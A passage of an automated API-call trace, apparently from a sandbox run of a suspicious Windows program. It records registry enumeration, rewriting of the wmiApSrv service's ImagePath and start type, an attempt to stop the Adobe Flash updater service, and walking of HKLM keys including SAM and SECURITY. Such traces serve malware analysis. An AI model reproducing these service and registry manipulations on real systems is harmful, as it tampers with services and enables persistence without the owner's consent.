0x252d4c8 [0248.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0248.815] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0248.815] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0248.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0248.815] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0248.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0248.816] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0248.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0248.816] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0248.816] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0248.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0248.816] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0248.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0248.816] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0248.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0248.816] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0248.816] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0248.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0248.816] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0248.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0248.816] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0248.816] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0248.816] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe") returned 0x0 [0248.817] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" [0248.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0248.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0248.817] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0248.817] LocalFree (hMem=0x7f03d0) returned 0x0 [0248.817] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe") returned 0x0 [0248.817] OpenServiceW (hSCManager=0x803918, lpServiceName="wmiApSrv", dwDesiredAccess=0x2) returned 0x8038a0 [0248.817] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0248.819] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0248.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0248.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0248.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0248.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5a8) returned 1 [0248.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0248.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.819] RegCloseKey (hKey=0x154) returned 0x0 [0248.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0248.819] RegCloseKey (hKey=0x148) returned 0x0 [0248.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0248.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0248.819] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51b7192e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x51b7192e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0248.819] CreateFileW (lpFileName="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0248.819] GetLastError () returned 0x20 [0248.820] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0248.820] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0248.820] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0248.820] OpenServiceW (hSCManager=0x803918, lpServiceName="AdobeFlashPlayerUpdateSvc", dwDesiredAccess=0x20) returned 0x803990 [0248.821] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0248.821] GetLastError () returned 0x425 [0248.821] CloseServiceHandle (hSCObject=0x803990) returned 1 [0248.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0248.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0248.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0248.821] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0248.821] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0248.821] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0248.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1970, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0248.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.822] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0248.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0248.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.822] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0248.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0248.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.822] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.822] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0248.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0248.822] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.823] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0248.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0248.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.823] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0248.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0248.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.823] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.823] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0248.823] RegCloseKey (hKey=0x80000002) returned 0x0 [0248.823] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0248.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1970, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0248.823] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.824] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0248.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0248.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.824] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0248.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0248.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1970, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0248.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.824] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0248.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0248.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.824] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.824] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0248.824] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0248.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.825] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.825] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.825] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.825] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0248.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0248.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.825] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.825] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.825] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.825] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0248.825] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.825] RtlAllocateHeap 